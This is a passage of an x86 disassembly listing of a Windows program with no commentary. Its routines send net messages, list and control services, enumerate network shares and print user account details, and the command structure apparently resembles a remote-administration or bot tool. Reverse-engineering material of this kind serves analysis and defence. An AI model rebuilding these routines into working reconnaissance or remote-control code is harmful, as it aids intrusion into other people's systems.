loc_418AC4: ; CODE XREF: sub_418A2E+3Fj
lea eax, [ebp+var_294]
push offset unk_4394A4
push eax
call sub_41C266
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 1Ch
loc_418AEE: ; CODE XREF: sub_418A2E+86j
pop edi
leave
retn
sub_418A2E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418AF1 proc near ; CODE XREF: sub_401ACD+551Cp
var_1C0 = byte ptr -1C0h
var_15C = byte ptr -15Ch
var_F8 = byte ptr -0F8h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C0h
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
call near ptr 26F0000h
nop
cmp [ebp+var_90], 4
jnz short loc_418B47
cmp [ebp+var_8C], 0
jnz short loc_418B30
push 1
pop eax
cmp [ebp+var_84], eax
jnz short loc_418B47
leave
retn
; ---------------------------------------------------------------------------
loc_418B30: ; CODE XREF: sub_418AF1+30j
cmp [ebp+var_8C], 0Ah
jz short loc_418B42
cmp [ebp+var_8C], 5Ah
jnz short loc_418B47
loc_418B42: ; CODE XREF: sub_418AF1+46j
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_418B47: ; CODE XREF: sub_418AF1+27j
; sub_418AF1+3Bj ...
push esi
push edi
push offset aNetapi32_dll ; "netapi32.dll"
call near ptr 26B0AD3h
nop
mov esi, eax
push offset aNetmessagebuff ; "NetMessageBufferSend"
push esi
nop
call near ptr 26C0000h
push 32h
mov edi, eax
push [ebp+arg_0]
lea eax, [ebp+var_1C0]
push eax
call sub_41E0D4
push 32h
lea eax, [ebp+var_15C]
push [ebp+arg_4]
push eax
call sub_41E0D4
push 32h
lea eax, [ebp+var_F8]
push [ebp+arg_8]
push eax
call sub_41E0D4
lea eax, [ebp+var_F8]
push eax
call sub_41E0B7
shl eax, 1
push eax
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_1C0]
push eax
push 0
call edi
add esp, 3Ch
mov edi, eax
push esi
nop
call near ptr 27C0000h
mov eax, edi
pop edi
pop esi
leave
retn
sub_418AF1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418BD1 proc near ; CODE XREF: sub_40111D+F7p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
nop
call near ptr 26A07AFh
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_4276E0
call sub_41D174
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_418BD1 endp
; =============== S U B R O U T I N E =======================================
sub_418C0E proc near ; CODE XREF: sub_401ACD:loc_406021p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_418C66
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_439520[esi]
push edi
push eax
call sub_418C88
add esp, 14h
test eax, eax
jnz short loc_418C56
push edi
push off_43951C[esi]
push offset unk_439630
loc_418C46: ; CODE XREF: sub_418C0E+56j
mov esi, offset dword_4DBA40
push esi
call sub_41C266
add esp, 10h
jmp short loc_418C83
; ---------------------------------------------------------------------------
loc_418C56: ; CODE XREF: sub_418C0E+2Aj
push eax
call sub_418D2A
pop ecx
push eax
push edi
push offset unk_439604
jmp short loc_418C46
; ---------------------------------------------------------------------------
loc_418C66: ; CODE XREF: sub_418C0E+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_4DBA40
push off_439518[eax*4]
push offset unk_4395E0
push esi
call sub_41C266
add esp, 0Ch
loc_418C83: ; CODE XREF: sub_418C0E+46j
mov eax, esi
pop edi
pop esi
retn
sub_418C0E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418C88 proc near ; CODE XREF: sub_418C0E+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_4CB9C8
mov edi, eax
cmp edi, ebx
jnz short loc_418CAF
nop
call near ptr 269086Bh
mov ebx, eax
jmp short loc_418D24
; ---------------------------------------------------------------------------
loc_418CAF: ; CODE XREF: sub_418C88+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_4CB8B0
mov esi, eax
cmp esi, ebx
jnz short loc_418CCF
nop
call near ptr 269086Bh
mov ebx, eax
jmp short loc_418D1C
; ---------------------------------------------------------------------------
loc_418CCF: ; CODE XREF: sub_418C88+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_418D02
cmp eax, 3
jz short loc_418CF3
jle short loc_418D15
cmp eax, 6
jg short loc_418D15
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_4CB91C
jmp short loc_418D09
; ---------------------------------------------------------------------------
loc_418CF3: ; CODE XREF: sub_418C88+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_4CB8B8
jmp short loc_418D09
; ---------------------------------------------------------------------------
loc_418D02: ; CODE XREF: sub_418C88+4Dj
push esi
call dword_4CB920
loc_418D09: ; CODE XREF: sub_418C88+69j
; sub_418C88+78j
test eax, eax
jnz short loc_418D15
nop
call near ptr 269086Bh
mov ebx, eax
loc_418D15: ; CODE XREF: sub_418C88+54j
; sub_418C88+59j ...
push esi
call dword_4CB8CC
loc_418D1C: ; CODE XREF: sub_418C88+45j
push edi
call dword_4CB8CC
pop esi
loc_418D24: ; CODE XREF: sub_418C88+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_418C88 endp
; =============== S U B R O U T I N E =======================================
sub_418D2A proc near ; CODE XREF: sub_418C0E+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_418DDF
jz loc_418DD8
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_418DA2
jz short loc_418D98
mov ecx, eax
sub ecx, 3
jz short loc_418D8E
dec ecx
dec ecx
jz short loc_418D84
dec ecx
jz short loc_418D7A
sub ecx, 51h
jz short loc_418D70
sub ecx, 24h
jnz loc_418E55 ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D70: ; CODE XREF: sub_418D2A+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D7A: ; CODE XREF: sub_418D2A+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D84: ; CODE XREF: sub_418D2A+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D8E: ; CODE XREF: sub_418D2A+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D98: ; CODE XREF: sub_418D2A+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418DA2: ; CODE XREF: sub_418D2A+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_418DD1
dec ecx
jz short loc_418DCA
dec ecx
jz short loc_418DC3
dec ecx
jnz loc_418E55 ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418DC3: ; CODE XREF: sub_418D2A+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418DCA: ; CODE XREF: sub_418D2A+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418DD1: ; CODE XREF: sub_418D2A+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418DD8: ; CODE XREF: sub_418D2A+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418DDF: ; CODE XREF: sub_418D2A+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_418E55 ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
jz short loc_418E42
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_418E55 ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
movzx ecx, byte_418E96[ecx]
jmp off_418E6E[ecx*4] ; switch jump
loc_418E03: ; DATA XREF: ___:off_418E6Eo
push offset aTheSpecifiedDa ; jumptable 00418DFC case 7
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E0A: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: ___:off_418E6Eo
push offset aTheServiceDepe ; jumptable 00418DFC case 17
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E11: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: ___:off_418E6Eo
push offset aTheServiceDe_0 ; jumptable 00418DFC case 10
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E18: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: ___:off_418E6Eo
push offset aTheServiceHasB ; jumptable 00418DFC case 0
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E1F: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: ___:off_418E6Eo
push offset aTheSpecified_0 ; jumptable 00418DFC case 2
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E26: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: ___:off_418E6Eo
push offset aTheServiceCoul ; jumptable 00418DFC case 11
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E2D: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: ___:off_418E6Eo
push offset aTheServiceHa_0 ; jumptable 00418DFC case 14
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E34: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: ___:off_418E6Eo
push offset aTheRequested_1 ; jumptable 00418DFC case 3
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E3B: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: ___:off_418E6Eo
push offset aTheServiceHasN ; jumptable 00418DFC case 4
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E42: ; CODE XREF: sub_418D2A+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_418E47: ; CODE XREF: sub_418D2A+41j
; sub_418D2A+4Bj ...
push offset dword_4DB380
call sub_41C266
pop ecx
pop ecx
jmp short loc_418E68
; ---------------------------------------------------------------------------
loc_418E55: ; CODE XREF: sub_418D2A+36j
; sub_418D2A+89j ...
push eax ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset dword_4DB380
call sub_41C266
add esp, 0Ch
loc_418E68: ; CODE XREF: sub_418D2A+129j
mov eax, offset dword_4DB380
retn
sub_418D2A endp
; ---------------------------------------------------------------------------
off_418E6E dd offset loc_418E18 ; DATA XREF: sub_418D2A+D2r
dd offset loc_418E1F ; jump table for switch statement
dd offset loc_418E34
dd offset loc_418E3B
dd offset loc_418E03
dd offset loc_418E11
dd offset loc_418E26
dd offset loc_418E2D
dd offset loc_418E0A
dd offset loc_418E55
byte_418E96 db 0, 9, 1, 2 ; DATA XREF: sub_418D2A+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418EA8 proc near ; CODE XREF: sub_401ACD+44D6p
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_4CB9C8
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_418EE0: ; CODE XREF: sub_418EA8+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_4CB994
test eax, eax
jnz short loc_418F1A
nop
call near ptr 269086Bh
cmp eax, 0EAh
jnz loc_418FCE
loc_418F1A: ; CODE XREF: sub_418EA8+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_418FC5
lea esi, [ebp+var_188]
loc_418F2B: ; CODE XREF: sub_418EA8+117j
mov eax, [esi+8]
dec eax
jz short loc_418F74
dec eax
jz short loc_418F6D
dec eax
jz short loc_418F66
dec eax
jz short loc_418F5F
dec eax
jz short loc_418F58
dec eax
jz short loc_418F51
dec eax
jz short loc_418F4A
push offset aUnknown_0 ; " Unknown"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F4A: ; CODE XREF: sub_418EA8+99j
push offset aPaused_0 ; " Paused"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F51: ; CODE XREF: sub_418EA8+96j
push offset aPausing ; " Pausing"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F58: ; CODE XREF: sub_418EA8+93j
push offset aContinuing ; " Continuing"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F5F: ; CODE XREF: sub_418EA8+90j
push offset aRunning ; " Running"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F66: ; CODE XREF: sub_418EA8+8Dj
push offset aStoping ; " Stoping"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F6D: ; CODE XREF: sub_418EA8+8Aj
push offset aStarting ; " Starting"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F74: ; CODE XREF: sub_418EA8+87j
push offset aStopped ; " Stopped"
loc_418F79: ; CODE XREF: sub_418EA8+A0j
; sub_418EA8+A7j ...
lea eax, [ebp+var_20]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS ; "%s: %s (%s)"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_418F2B
loc_418FC5: ; CODE XREF: sub_418EA8+77j
cmp [ebp+var_8], ebx
jnz loc_418EE0
loc_418FCE: ; CODE XREF: sub_418EA8+6Cj
push [ebp+var_C]
call dword_4CB8CC
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_418EA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418FE5 proc near ; CODE XREF: sub_401ACD:loc_406064p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_41907F
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_41900E
dec eax
jnz short loc_41905F
push edi
push 0
call sub_4191B8
pop ecx
pop ecx
jmp short loc_41905B
; ---------------------------------------------------------------------------
loc_41900E: ; CODE XREF: sub_418FE5+18j
cmp [ebp+arg_8], 0
jnz short loc_41904D
push 24h
push edi
call sub_41C990
pop ecx
test eax, eax
pop ecx
jnz short loc_41904D
push 57h
pop eax
loc_419025: ; CODE XREF: sub_418FE5+78j
push eax
call sub_4199AC
pop ecx
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DB63C
push off_439518[eax*4]
push offset unk_439BC4
push esi
call sub_41C266
add esp, 14h
jmp short loc_41909F
; ---------------------------------------------------------------------------
loc_41904D: ; CODE XREF: sub_418FE5+2Dj
; sub_418FE5+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_41910C
add esp, 0Ch
loc_41905B: ; CODE XREF: sub_418FE5+27j
test eax, eax
jnz short loc_419025
loc_41905F: ; CODE XREF: sub_418FE5+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DB63C
push off_43951C[eax*4]
push offset dword_439BA8
push esi
call sub_41C266
add esp, 10h
jmp short loc_41909F
; ---------------------------------------------------------------------------
loc_41907F: ; CODE XREF: sub_418FE5+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DB63C
lea eax, [eax+eax*2]
push off_439518[eax*4]
push offset unk_439B84
push esi
call sub_41C266
add esp, 0Ch
loc_41909F: ; CODE XREF: sub_418FE5+66j
; sub_418FE5+98j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_418FE5 endp
; =============== S U B R O U T I N E =======================================
sub_4190A5 proc near ; CODE XREF: sub_41A3C6+245p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_4190B2
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4190B2: ; CODE XREF: sub_4190A5+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, dword_427188
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi
test byte_4DB83C, 1
mov ebp, eax
jnz short loc_4190EF
or byte_4DB83C, 1
lea eax, [ebp+1]
push eax
call sub_41D9A5
pop ecx
mov dword_4DB5DC, eax
loc_4190EF: ; CODE XREF: sub_4190A5+32j
push esi
push esi
push ebp
push dword_4DB5DC
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi
mov eax, dword_4DB5DC
pop edi
pop ebp
pop ebx
pop esi
retn
sub_4190A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41910C proc near ; CODE XREF: sub_418FE5+6Ep
; sub_41A6EA+18Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_419177
push [ebp+arg_4]
mov edi, eax
call sub_419177
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_41C990
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_419177
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_4CB8C8
pop edi
leave
retn
sub_41910C endp
; =============== S U B R O U T I N E =======================================
sub_419177 proc near ; CODE XREF: sub_41910C+Ap
; sub_41910C+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_419184
pop ebp
retn
; ---------------------------------------------------------------------------
loc_419184: ; CODE XREF: sub_419177+9j
push ebx
push esi
mov esi, dword_4270E8
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_41D9A5
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_419177 endp
; =============== S U B R O U T I N E =======================================
sub_4191B8 proc near ; CODE XREF: sub_418FE5+20p
; sub_41A3C6+1BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_419177
push [esp+8+arg_4]
mov esi, eax
call sub_419177
pop ecx
pop ecx
push 0
push eax
push esi
call dword_4CB8A0
pop esi
retn
sub_4191B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4191DB proc near ; CODE XREF: sub_401ACD+45AEp
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_419177
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 18h
loc_419214: ; CODE XREF: sub_4191DB+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_4CB918
mov ebx, eax
cmp ebx, esi
jz short loc_419277
cmp ebx, 0EAh
jz short loc_419277
push ebx
push ebx
call sub_4199AC
pop ecx
push eax
lea eax, [ebp+var_210]
push offset unk_439C10
push eax
call sub_41C266
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 24h
jmp short loc_4192E4
; ---------------------------------------------------------------------------
loc_419277: ; CODE XREF: sub_4191DB+5Dj
; sub_4191DB+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_4192DB
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_419285: ; CODE XREF: sub_4191DB+FCj
push dword ptr [esi+10h]
call dword_4CB8BC
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_41929C
mov eax, offset aNo ; "No"
loc_41929C: ; CODE XREF: sub_4191DB+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_419285
xor esi, esi
loc_4192DB: ; CODE XREF: sub_4191DB+A2j
push [ebp+var_4]
call dword_4CBA64
loc_4192E4: ; CODE XREF: sub_4191DB+9Aj
cmp ebx, 0EAh
jz loc_419214
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_4191DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4192FC proc near ; CODE XREF: sub_401ACD:loc_4060EDp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_4193A1
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_41933E
dec eax
jz short loc_419333
dec eax
jnz short loc_419359
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_419443
add esp, 14h
jmp short loc_419355
; ---------------------------------------------------------------------------
loc_419333: ; CODE XREF: sub_4192FC+1Dj
push ebx
push edi
call sub_419422
pop ecx
pop ecx
jmp short loc_419355
; ---------------------------------------------------------------------------
loc_41933E: ; CODE XREF: sub_4192FC+1Aj
cmp [ebp+arg_8], edi
jz short loc_419352
push [ebp+arg_8]
push ebx
push edi
call sub_4193C8
add esp, 0Ch
jmp short loc_419355
; ---------------------------------------------------------------------------
loc_419352: ; CODE XREF: sub_4192FC+45j
push 57h
pop eax
loc_419355: ; CODE XREF: sub_4192FC+35j
; sub_4192FC+40j ...
cmp eax, edi
jnz short loc_419379
loc_419359: ; CODE XREF: sub_4192FC+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DB840
push off_43951C[eax*4]
push offset unk_439CC8
push esi
call sub_41C266
add esp, 10h
jmp short loc_4193C1
; ---------------------------------------------------------------------------
loc_419379: ; CODE XREF: sub_4192FC+5Bj
push eax
call sub_4199AC
pop ecx
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DB840
push off_439518[eax*4]
push offset unk_439C98
push esi
call sub_41C266
add esp, 14h
jmp short loc_4193C1
; ---------------------------------------------------------------------------
loc_4193A1: ; CODE XREF: sub_4192FC+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DB840
lea eax, [eax+eax*2]
push off_439518[eax*4]
push offset unk_439C70
push esi
call sub_41C266
add esp, 0Ch
loc_4193C1: ; CODE XREF: sub_4192FC+7Bj
; sub_4192FC+A3j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4192FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4193C8 proc near ; CODE XREF: sub_4192FC+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_419177
push [ebp+arg_4]
mov edi, eax
call sub_419177
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_419177
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_4CB8AC
pop edi
leave
retn
sub_4193C8 endp
; =============== S U B R O U T I N E =======================================
sub_419422 proc near ; CODE XREF: sub_4192FC+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_419177
push [esp+8+arg_4]
mov esi, eax
call sub_419177
pop ecx
pop ecx
push eax
push esi
call dword_4CB89C
pop esi
retn
sub_419422 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419443 proc near ; CODE XREF: sub_4192FC+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_419177
push [ebp+arg_4]
mov esi, eax
call sub_419177
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_4CBA2C
test eax, eax
mov [ebp+arg_0], eax
jnz loc_4197EB
mov eax, [ebp+var_4]
test eax, eax
jz loc_419826
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_41C266
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
mov eax, [eax+10h]
sub eax, 0
jz short loc_419562
dec eax
jz short loc_41955B
dec eax
jz short loc_419554
mov eax, offset aUnknown ; "Unknown"
jmp short loc_419567
